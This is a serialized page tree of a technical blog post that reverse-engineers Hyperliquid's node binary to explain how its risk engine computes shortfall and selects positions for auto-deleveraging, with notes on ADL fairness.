":24,"tag":83,"props":158700,"children":158702},{"className":158701},[3753],[158703],{"type":29,"value":2867},{"type":24,"tag":83,"props":158705,"children":158707},{"className":158706,"style":3834},[3833],[],{"type":24,"tag":83,"props":158709,"children":158711},{"className":158710},[3839],[158712],{"type":29,"value":110842},{"type":24,"tag":83,"props":158714,"children":158716},{"className":158715,"style":3834},[3833],[],{"type":24,"tag":83,"props":158718,"children":158720},{"className":158719},[3753,29],[158721],{"type":24,"tag":83,"props":158722,"children":158724},{"className":158723},[3753],[158725],{"type":29,"value":158726},"leverage",{"type":24,"tag":83,"props":158728,"children":158729},{"style":113153},[158730,158734],{"type":24,"tag":83,"props":158731,"children":158733},{"className":158732,"style":111751},[3793],[],{"type":24,"tag":83,"props":158735,"children":158737},{"className":158736,"style":113163},[113162],[],{"type":24,"tag":83,"props":158739,"children":158741},{"style":158740},"top:-3.677em;",[158742,158746],{"type":24,"tag":83,"props":158743,"children":158745},{"className":158744,"style":111751},[3793],[],{"type":24,"tag":83,"props":158747,"children":158749},{"className":158748},[3753],[158750,158756,158766],{"type":24,"tag":83,"props":158751,"children":158753},{"className":158752},[3753],[158754],{"type":29,"value":158755},"∣",{"type":24,"tag":83,"props":158757,"children":158759},{"className":158758},[3753,29],[158760],{"type":24,"tag":83,"props":158761,"children":158763},{"className":158762},[3753],[158764],{"type":29,"value":158765},"notional",{"type":24,"tag":83,"props":158767,"children":158769},{"className":158768},[3753],[158770],{"type":29,"value":158755},{"type":24,"tag":83,"props":158772,"children":158774},{"className":158773},[21485],[158775],{"type":29,"value":21488},{"type":24,"tag":83,"props":158777,"children":158779},{"className":158778},[3779],[158780],{"type":24,"tag":83,"props":158781,"children":158784},{"className":158782,"style":158783},[3784],"height:0.8804em;",[158785],{"type":24,"tag":83,"props":158786,"children":158787},{},[],{"type":24,"tag":83,"props":158789,"children":158791},{"className":158790},[21479,113098],[],{"type":24,"tag":51,"props":158793,"children":158795},{"id":158794},"what-if-nobody-wants-to-buy-the-position",[158796],{"type":29,"value":158797},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":158799,"children":158800},{},[158801],{"type":29,"value":158802},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":158804,"children":158805},{},[158806,158808,158813],{"type":29,"value":158807},"When that happens, the exchange is basically left with a ",{"type":24,"tag":2655,"props":158809,"children":158810},{},[158811],{"type":29,"value":158812},"hot potato",{"type":29,"value":158814}," to get rid of: what should it even do with the debt?",{"type":24,"tag":35107,"props":158816,"children":158818},{"id":158817},"the-risk-engine",[158819],{"type":29,"value":158820},"The Risk Engine",{"type":24,"tag":25,"props":158822,"children":158823},{},[158824],{"type":29,"value":158825},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":51,"props":158827,"children":158829},{"id":158828},"clearing-up-bad-debt",[158830],{"type":29,"value":158831},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":158833,"children":158834},{},[158835,158836,158843],{"type":29,"value":16348},{"type":24,"tag":2033,"props":158837,"children":158840},{"href":158838,"rel":158839},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[2037],[158841],{"type":29,"value":158842},"Hyperliquid docs",{"type":29,"value":158844}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":158846,"children":158847},{},[158848,158850,158861,158863,158869,158871,158877],{"type":29,"value":158849},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":2033,"props":158851,"children":158854},{"href":158852,"rel":158853},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[2037],[158855],{"type":24,"tag":32,"props":158856,"children":158858},{"className":158857},[],[158859],{"type":29,"value":158860},"Clearinghouse",{"type":29,"value":158862},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":32,"props":158864,"children":158866},{"className":158865},[],[158867],{"type":29,"value":158868},"Exchange",{"type":29,"value":158870}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":32,"props":158872,"children":158874},{"className":158873},[],[158875],{"type":29,"value":158876},"MessagePack",{"type":29,"value":158878}," at runtime.",{"type":24,"tag":25,"props":158880,"children":158881},{},[158882],{"type":29,"value":158883},"This data will come in handy both for us and the agent.",{"type":24,"tag":158885,"props":158886,"children":158888},"file-download",{"path":158887},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":158890,"children":158891},{},[158892,158894,158899],{"type":29,"value":158893},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":32,"props":158895,"children":158897},{"className":158896},[],[158898],{"type":29,"value":158860},{"type":29,"value":158900},". Some renaming later, we can infer something like this:",{"type":24,"tag":158579,"props":158902,"children":158906},{"source":158903,"target":158904,"direction":158905},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":158908,"children":158909},{},[158910,158912,158917,158919,158925],{"type":29,"value":158911},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":32,"props":158913,"children":158915},{"className":158914},[],[158916],{"type":29,"value":158904},{"type":29,"value":158918},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":32,"props":158920,"children":158922},{"className":158921},[],[158923],{"type":29,"value":158924},"exchange_end_block",{"type":29,"value":158926},". So, at the end of each block we run some checks.",{"type":24,"tag":158548,"props":158928,"children":158929},{},[158930],{"type":24,"tag":25,"props":158931,"children":158932},{},[158933],{"type":29,"value":158934},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":158936,"children":158937},{},[158938,158940,158946],{"type":29,"value":158939},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":32,"props":158941,"children":158943},{"className":158942},[],[158944],{"type":29,"value":158945},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":158947}," flag.",{"type":24,"tag":158579,"props":158949,"children":158953},{"addr":158950,"line-start":158951,"line-end":158952},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":158955,"children":158956},{},[158957,158959,158964],{"type":29,"value":158958},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":32,"props":158960,"children":158962},{"className":158961},[],[158963],{"type":29,"value":158860},{"type":29,"value":2900},{"type":24,"tag":1818,"props":158966,"children":158968},{"id":158967},"threshold-condition",[158969],{"type":29,"value":158970},"Threshold Condition",{"type":24,"tag":25,"props":158972,"children":158973},{},[158974,158976,158981],{"type":29,"value":158975},"The natural connection between liquidations and ADL is ",{"type":24,"tag":2655,"props":158977,"children":158978},{},[158979],{"type":29,"value":158980},"shortfall",{"type":29,"value":158982},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":158984,"children":158985},{},[158986],{"type":29,"value":158987},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":18631,"props":158989,"children":158991},{"id":158990},"who-is-underwater",[158992],{"type":29,"value":158993},"Who Is Underwater?",{"type":24,"tag":25,"props":158995,"children":158996},{},[158997,158999,159004,159006,159012],{"type":29,"value":158998},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":32,"props":159000,"children":159002},{"className":159001},[],[159003],{"type":29,"value":158904},{"type":29,"value":159005},", starting from all user positions, which are stored in ",{"type":24,"tag":32,"props":159007,"children":159009},{"className":159008},[],[159010],{"type":29,"value":159011},"clearinghouse.user_states",{"type":29,"value":159013},", as we can also see from the serialization.",{"type":24,"tag":158548,"props":159015,"children":159016},{},[159017],{"type":24,"tag":25,"props":159018,"children":159019},{},[159020],{"type":29,"value":159021},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":158579,"props":159023,"children":159027},{"source":159024,"target":158924,"direction":159025,"path":159026},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":159029,"children":159030},{},[159031,159032,159037,159039,159045,159047,159053,159055,159061],{"type":29,"value":16348},{"type":24,"tag":32,"props":159033,"children":159035},{"className":159034},[],[159036],{"type":29,"value":159024},{"type":29,"value":159038}," essentially turns that into an ",{"type":24,"tag":32,"props":159040,"children":159042},{"className":159041},[],[159043],{"type":29,"value":159044},"Iter",{"type":29,"value":159046},", then, inside of ",{"type":24,"tag":32,"props":159048,"children":159050},{"className":159049},[],[159051],{"type":29,"value":159052},"build_adl_candidate_set",{"type":29,"value":159054}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":32,"props":159056,"children":159058},{"className":159057},[],[159059],{"type":29,"value":159060},"AdlIterEntry",{"type":29,"value":58040},{"type":24,"tag":158579,"props":159063,"children":159065},{"type-name":159064},"AdlIterContext",[],{"type":24,"tag":25,"props":159067,"children":159068},{},[159069,159071,159077,159079,159085,159087,159093,159095,159100],{"type":29,"value":159070},"Note that in storage, ",{"type":24,"tag":32,"props":159072,"children":159074},{"className":159073},[],[159075],{"type":29,"value":159076},"Isolated",{"type":29,"value":159078}," positions have their own independent ",{"type":24,"tag":32,"props":159080,"children":159082},{"className":159081},[],[159083],{"type":29,"value":159084},"Entry",{"type":29,"value":159086}," in the position iterators, and ",{"type":24,"tag":32,"props":159088,"children":159090},{"className":159089},[],[159091],{"type":29,"value":159092},"Cross",{"type":29,"value":159094}," positions have a single common ",{"type":24,"tag":32,"props":159096,"children":159098},{"className":159097},[],[159099],{"type":29,"value":159084},{"type":29,"value":159101},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":158579,"props":159103,"children":159106},{"addr":159104,"line-start":43972,"line-end":159105},"0x555556266b10","163",[],{"type":24,"tag":25,"props":159108,"children":159109},{},[159110],{"type":29,"value":159111},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":158579,"props":159113,"children":159116},{"addr":158950,"line-start":159114,"line-end":159115},"506","527",[],{"type":24,"tag":25,"props":159118,"children":159119},{},[159120,159122],{"type":29,"value":159121},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":159123,"props":159124,"children":159127},"bndb-xref",{"lines":159125,"addrs":159126},"1-2","0x555556ac3e18-0x555556ac3e18",[159128],{"type":29,"value":159129},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":159131,"children":159132},{},[159133,159135,159141,159143,159149,159151,159157,159159,159165],{"type":29,"value":159134},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":32,"props":159136,"children":159138},{"className":159137},[],[159139],{"type":29,"value":159140},"only_isolated",{"type":29,"value":159142}," (or ",{"type":24,"tag":32,"props":159144,"children":159146},{"className":159145},[],[159147],{"type":29,"value":159148},"strict_isolated",{"type":29,"value":159150}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":32,"props":159152,"children":159154},{"className":159153},[],[159155],{"type":29,"value":159156},"deferred_queue",{"type":29,"value":159158},", which triggers ADL regardless of the system's ",{"type":24,"tag":32,"props":159160,"children":159162},{"className":159161},[],[159163],{"type":29,"value":159164},"total_shortfall",{"type":29,"value":159166},". This is dictated by this branch.",{"type":24,"tag":158579,"props":159168,"children":159171},{"addr":158950,"line-start":159169,"line-end":159170},"211","243",[],{"type":24,"tag":25,"props":159173,"children":159174},{},[159175,159177,159184],{"type":29,"value":159176},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":2033,"props":159178,"children":159181},{"href":159179,"rel":159180},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[2037],[159182],{"type":29,"value":159183},"March 2025 incident",{"type":29,"value":159185},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":18631,"props":159187,"children":159189},{"id":159188},"how-do-we-get-rid-of-debt",[159190],{"type":29,"value":159191},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":159193,"children":159194},{},[159195],{"type":29,"value":159196},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":159198,"children":159199},{},[159200,159202,159207,159209,159214,159216,159221],{"type":29,"value":159201},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":32,"props":159203,"children":159205},{"className":159204},[],[159206],{"type":29,"value":159156},{"type":29,"value":159208}," is overwritten by all the users marked by ",{"type":24,"tag":32,"props":159210,"children":159212},{"className":159211},[],[159213],{"type":29,"value":159052},{"type":29,"value":159215},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":32,"props":159217,"children":159219},{"className":159218},[],[159220],{"type":29,"value":159148},{"type":29,"value":159222}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":158548,"props":159224,"children":159225},{},[159226],{"type":24,"tag":25,"props":159227,"children":159228},{},[159229],{"type":29,"value":159230},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":158579,"props":159232,"children":159235},{"addr":158950,"line-start":159233,"line-end":159234},"523","526",[],{"type":24,"tag":25,"props":159237,"children":159238},{},[159239,159241,159247,159249,159255,159257,159262],{"type":29,"value":159240},"For each underwater position, we do a ",{"type":24,"tag":159123,"props":159242,"children":159244},{"addrs":159243},"0x555556ac42ad-0x555556ac42be",[159245],{"type":29,"value":159246},"B-tree lookup",{"type":29,"value":159248}," on ",{"type":24,"tag":32,"props":159250,"children":159252},{"className":159251},[],[159253],{"type":29,"value":159254},"clearinghouse.user_states[position.user]",{"type":29,"value":159256},", adding them to a ",{"type":24,"tag":32,"props":159258,"children":159260},{"className":159259},[],[159261],{"type":29,"value":16947},{"type":29,"value":159263}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":158579,"props":159265,"children":159268},{"addr":158950,"line-start":159266,"line-end":159267},"635","658",[],{"type":24,"tag":25,"props":159270,"children":159271},{},[159272],{"type":29,"value":159273},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":73,"props":159275,"children":159276},{},[159277],{"type":24,"tag":32,"props":159278,"children":159280},{"className":159279},[3726,158607],[159281],{"type":24,"tag":83,"props":159282,"children":159284},{"className":159283},[158612],[159285],{"type":24,"tag":83,"props":159286,"children":159288},{"className":159287},[3732],[159289],{"type":24,"tag":83,"props":159290,"children":159292},{"className":159291,"ariaHidden":1237},[3737],[159293],{"type":24,"tag":83,"props":159294,"children":159296},{"className":159295},[3742],[159297,159302],{"type":24,"tag":83,"props":159298,"children":159301},{"className":159299,"style":159300},[3747],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":83,"props":159303,"children":159305},{"className":159304},[3753],[159306],{"type":24,"tag":83,"props":159307,"children":159310},{"className":159308},[159309],"mtable",[159311,159391],{"type":24,"tag":83,"props":159312,"children":159315},{"className":159313},[159314],"col-align-r",[159316],{"type":24,"tag":83,"props":159317,"children":159319},{"className":159318},[3774,21382],[159320,159379],{"type":24,"tag":83,"props":159321,"children":159323},{"className":159322},[3779],[159324,159374],{"type":24,"tag":83,"props":159325,"children":159328},{"className":159326,"style":159327},[3784],"height:2.3452em;",[159329,159352],{"type":24,"tag":83,"props":159330,"children":159332},{"style":159331},"top:-4.3452em;",[159333,159338],{"type":24,"tag":83,"props":159334,"children":159337},{"className":159335,"style":159336},[3793],"height:3.3944em;",[],{"type":24,"tag":83,"props":159339,"children":159341},{"className":159340},[3753],[159342],{"type":24,"tag":83,"props":159343,"children":159345},{"className":159344},[3753,29],[159346],{"type":24,"tag":83,"props":159347,"children":159349},{"className":159348},[3753],[159350],{"type":29,"value":159351},"position_weight",{"type":24,"tag":83,"props":159353,"children":159355},{"style":159354},"top:-2.2092em;",[159356,159360],{"type":24,"tag":83,"props":159357,"children":159359},{"className":159358,"style":159336},[3793],[],{"type":24,"tag":83,"props":159361,"children":159363},{"className":159362},[3753],[159364],{"type":24,"tag":83,"props":159365,"children":159367},{"className":159366},[3753,29],[159368],{"type":24,"tag":83,"props":159369,"children":159371},{"className":159370},[3753],[159372],{"type":29,"value":159373},"position_adl_amount",{"type":24,"tag":83,"props":159375,"children":159377},{"className":159376},[21485],[159378],{"type":29,"value":21488},{"type":24,"tag":83,"props":159380,"children":159382},{"className":159381},[3779],[159383],{"type":24,"tag":83,"props":159384,"children":159387},{"className":159385,"style":159386},[3784],"height:1.8452em;",[159388],{"type":24,"tag":83,"props":159389,"children":159390},{},[],{"type":24,"tag":83,"props":159392,"children":159395},{"className":159393},[159394],"col-align-l",[159396],{"type":24,"tag":83,"props":159397,"children":159399},{"className":159398},[3774,21382],[159400,159601],{"type":24,"tag":83,"props":159401,"children":159403},{"className":159402},[3779],[159404,159596],{"type":24,"tag":83,"props":159405,"children":159407},{"className":159406,"style":159327},[3784],[159408,159536],{"type":24,"tag":83,"props":159409,"children":159410},{"style":159331},[159411,159415],{"type":24,"tag":83,"props":159412,"children":159414},{"className":159413,"style":159336},[3793],[],{"type":24,"tag":83,"props":159416,"children":159418},{"className":159417},[3753],[159419,159423,159427,159432,159436],{"type":24,"tag":83,"props":159420,"children":159422},{"className":159421},[3753],[],{"type":24,"tag":83,"props":159424,"children":159426},{"className":159425,"style":3931},[3833],[],{"type":24,"tag":83,"props":159428,"children":159430},{"className":159429},[3936],[159431],{"type":29,"value":1275},{"type":24,"tag":83,"props":159433,"children":159435},{"className":159434,"style":3931},[3833],[],{"type":24,"tag":83,"props":159437,"children":159439},{"className":159438},[3753],[159440,159444,159532],{"type":24,"tag":83,"props":159441,"children":159443},{"className":159442},[21457,113098],[],{"type":24,"tag":83,"props":159445,"children":159447},{"className":159446},[113103],[159448],{"type":24,"tag":83,"props":159449,"children":159451},{"className":159450},[3774,21382],[159452,159520],{"type":24,"tag":83,"props":159453,"children":159455},{"className":159454},[3779],[159456,159515],{"type":24,"tag":83,"props":159457,"children":159460},{"className":159458,"style":159459},[3784],"height:1.3944em;",[159461,159482,159493],{"type":24,"tag":83,"props":159462,"children":159463},{"style":158689},[159464,159468],{"type":24,"tag":83,"props":159465,"children":159467},{"className":159466,"style":111751},[3793],[],{"type":24,"tag":83,"props":159469,"children":159471},{"className":159470},[3753],[159472],{"type":24,"tag":83,"props":159473,"children":159475},{"className":159474},[3753,29],[159476],{"type":24,"tag":83,"props":159477,"children":159479},{"className":159478},[3753],[159480],{"type":29,"value":159481},"total_cross_notional",{"type":24,"tag":83,"props":159483,"children":159484},{"style":113153},[159485,159489],{"type":24,"tag":83,"props":159486,"children":159488},{"className":159487,"style":111751},[3793],[],{"type":24,"tag":83,"props":159490,"children":159492},{"className":159491,"style":113163},[113162],[],{"type":24,"tag":83,"props":159494,"children":159496},{"style":159495},"top:-3.7em;",[159497,159501],{"type":24,"tag":83,"props":159498,"children":159500},{"className":159499,"style":111751},[3793],[],{"type":24,"tag":83,"props":159502,"children":159504},{"className":159503},[3753],[159505],{"type":24,"tag":83,"props":159506,"children":159508},{"className":159507},[3753,29],[159509],{"type":24,"tag":83,"props":159510,"children":159512},{"className":159511},[3753],[159513],{"type":29,"value":159514},"position_notional",{"type":24,"tag":83,"props":159516,"children":159518},{"className":159517},[21485],[159519],{"type":29,"value":21488},{"type":24,"tag":83,"props":159521,"children":159523},{"className":159522},[3779],[159524],{"type":24,"tag":83,"props":159525,"children":159528},{"className":159526,"style":159527},[3784],"height:0.996em;",[159529],{"type":24,"tag":83,"props":159530,"children":159531},{},[],{"type":24,"tag":83,"props":159533,"children":159535},{"className":159534},[21479,113098],[],{"type":24,"tag":83,"props":159537,"children":159538},{"style":159354},[159539,159543],{"type":24,"tag":83,"props":159540,"children":159542},{"className":159541,"style":159336},[3793],[],{"type":24,"tag":83,"props":159544,"children":159546},{"className":159545},[3753],[159547,159551,159555,159560,159564,159574,159578,159583,159587],{"type":24,"tag":83,"props":159548,"children":159550},{"className":159549},[3753],[],{"type":24,"tag":83,"props":159552,"children":159554},{"className":159553,"style":3931},[3833],[],{"type":24,"tag":83,"props":159556,"children":159558},{"className":159557},[3936],[159559],{"type":29,"value":1275},{"type":24,"tag":83,"props":159561,"children":159563},{"className":159562,"style":3931},[3833],[],{"type":24,"tag":83,"props":159565,"children":159567},{"className":159566},[3753,29],[159568],{"type":24,"tag":83,"props":159569,"children":159571},{"className":159570},[3753],[159572],{"type":29,"value":159573},"user_shortfall",{"type":24,"tag":83,"props":159575,"children":159577},{"className":159576,"style":3834},[3833],[],{"type":24,"tag":83,"props":159579,"children":159581},{"className":159580},[3839],[159582],{"type":29,"value":110842},{"type":24,"tag":83,"props":159584,"children":159586},{"className":159585,"style":3834},[3833],[],{"type":24,"tag":83,"props":159588,"children":159590},{"className":159589},[3753,29],[159591],{"type":24,"tag":83,"props":159592,"children":159594},{"className":159593},[3753],[159595],{"type":29,"value":159351},{"type":24,"tag":83,"props":159597,"children":159599},{"className":159598},[21485],[159600],{"type":29,"value":21488},{"type":24,"tag":83,"props":159602,"children":159604},{"className":159603},[3779],[159605],{"type":24,"tag":83,"props":159606,"children":159608},{"className":159607,"style":159386},[3784],[159609],{"type":24,"tag":83,"props":159610,"children":159611},{},[],{"type":24,"tag":25,"props":159613,"children":159614},{},[159615],{"type":29,"value":159616},"We do that here:",{"type":24,"tag":158579,"props":159618,"children":159621},{"addr":158950,"line-start":159619,"line-end":159620},"828","981",[],{"type":24,"tag":25,"props":159623,"children":159624},{},[159625,159626,159632,159634,159640],{"type":29,"value":16348},{"type":24,"tag":159123,"props":159627,"children":159629},{"lines":159628},"77-79",[159630],{"type":29,"value":159631},"inner loop",{"type":29,"value":159633}," above spans all ",{"type":24,"tag":32,"props":159635,"children":159637},{"className":159636},[],[159638],{"type":29,"value":159639},"(asset_idx, direction)",{"type":29,"value":159641}," held in the cross margin position.",{"type":24,"tag":25,"props":159643,"children":159644},{},[159645,159647,159653,159655,159661,159662,159668],{"type":29,"value":159646},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":32,"props":159648,"children":159650},{"className":159649},[],[159651],{"type":29,"value":159652},"adl_output",{"type":29,"value":159654}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":24,"tag":32,"props":159656,"children":159658},{"className":159657},[],[159659],{"type":29,"value":159660},"position_id",{"type":29,"value":2287},{"type":24,"tag":32,"props":159663,"children":159665},{"className":159664},[],[159666],{"type":29,"value":159667},"position_shortfall",{"type":29,"value":161},{"type":24,"tag":158579,"props":159670,"children":159673},{"addr":158950,"line-start":159671,"line-end":159672},"2377","2469",[],{"type":24,"tag":25,"props":159675,"children":159676},{},[159677,159679,159685],{"type":29,"value":159678},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":32,"props":159680,"children":159682},{"className":159681},[],[159683],{"type":29,"value":159684},"(position_id, cut)",{"type":29,"value":159686},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":159688,"children":159689},{},[159690,159692,159697],{"type":29,"value":159691},"The final phase of ",{"type":24,"tag":32,"props":159693,"children":159695},{"className":159694},[],[159696],{"type":29,"value":158904},{"type":29,"value":159698}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":158579,"props":159700,"children":159703},{"addr":158950,"addr-start":159701,"addr-end":159702},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":159705,"children":159706},{},[159707],{"type":29,"value":159708},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":35107,"props":159710,"children":159712},{"id":159711},"who-do-we-deleverage",[159713],{"type":29,"value":159714},"Who Do We Deleverage?",{"type":24,"tag":25,"props":159716,"children":159717},{},[159718],{"type":29,"value":159719},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":159721,"children":159722},{},[159723],{"type":29,"value":159724},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":159726,"children":159727},{},[159728,159730,159737],{"type":29,"value":159729},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":2033,"props":159731,"children":159734},{"href":159732,"rel":159733},"https://arxiv.org/abs/2512.01112",[2037],[159735],{"type":29,"value":159736},"this paper",{"type":29,"value":159738},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":159740,"children":159741},{},[159742],{"type":29,"value":159743},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":51,"props":159745,"children":159747},{"id":159746},"adl-score-computation",[159748],{"type":29,"value":159749},"ADL Score Computation",{"type":24,"tag":25,"props":159751,"children":159752},{},[159753,159755,159761,159763,159769,159771,159776],{"type":29,"value":159754},"The score function at ",{"type":24,"tag":32,"props":159756,"children":159758},{"className":159757},[],[159759],{"type":29,"value":159760},"compute_adl_ranking_score",{"type":29,"value":159762}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":32,"props":159764,"children":159766},{"className":159765},[],[159767],{"type":29,"value":159768},"Ord",{"type":29,"value":159770}," implementation on some 20-byte address representation. A ",{"type":24,"tag":32,"props":159772,"children":159774},{"className":159773},[],[159775],{"type":29,"value":16947},{"type":29,"value":159777}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":159779,"children":159780},{},[159781,159783,159788,159790,159796,159798,159805,159807,159814],{"type":29,"value":159782},"Those sort routines are ",{"type":24,"tag":2655,"props":159784,"children":159785},{},[159786],{"type":29,"value":159787},"generated by the compiler",{"type":29,"value":159789},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":32,"props":159791,"children":159793},{"className":159792},[],[159794],{"type":29,"value":159795},".comment",{"type":29,"value":159797},", we may even manually ",{"type":24,"tag":2033,"props":159799,"children":159802},{"href":159800,"rel":159801},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[2037],[159803],{"type":29,"value":159804},"take advantage",{"type":29,"value":159806}," of this to recover the ",{"type":24,"tag":2033,"props":159808,"children":159811},{"href":159809,"rel":159810},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[2037],[159812],{"type":29,"value":159813},"exact source of library functions",{"type":29,"value":161},{"type":24,"tag":25,"props":159816,"children":159817},{},[159818,159820,159825],{"type":29,"value":159819},"Let's see how this ties back into the ",{"type":24,"tag":32,"props":159821,"children":159823},{"className":159822},[],[159824],{"type":29,"value":158904},{"type":29,"value":195},{"type":24,"tag":158579,"props":159827,"children":159829},{"source":158904,"target":159760,"direction":158905,"path":159828},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":159831,"children":159832},{},[159833],{"type":29,"value":159834},"And here's the main call site used for sorting:",{"type":24,"tag":158579,"props":159836,"children":159839},{"addr":158950,"line-start":159837,"line-end":159838},"2806","2814",[],{"type":24,"tag":51,"props":159841,"children":159843},{"id":159842},"ratio-1-effective-leverage",[159844],{"type":29,"value":159845},"Ratio 1: Effective Leverage",{"type":24,"tag":73,"props":159847,"children":159848},{},[159849],{"type":24,"tag":32,"props":159850,"children":159852},{"className":159851},[3726,158607],[159853],{"type":24,"tag":83,"props":159854,"children":159856},{"className":159855},[158612],[159857],{"type":24,"tag":83,"props":159858,"children":159860},{"className":159859},[3732],[159861],{"type":24,"tag":83,"props":159862,"children":159864},{"className":159863,"ariaHidden":1237},[3737],[159865,159896],{"type":24,"tag":83,"props":159866,"children":159868},{"className":159867},[3742],[159869,159873,159883,159887,159892],{"type":24,"tag":83,"props":159870,"children":159872},{"className":159871,"style":114635},[3747],[],{"type":24,"tag":83,"props":159874,"children":159876},{"className":159875},[3753,29],[159877],{"type":24,"tag":83,"props":159878,"children":159880},{"className":159879},[3753],[159881],{"type":29,"value":159882},"effective 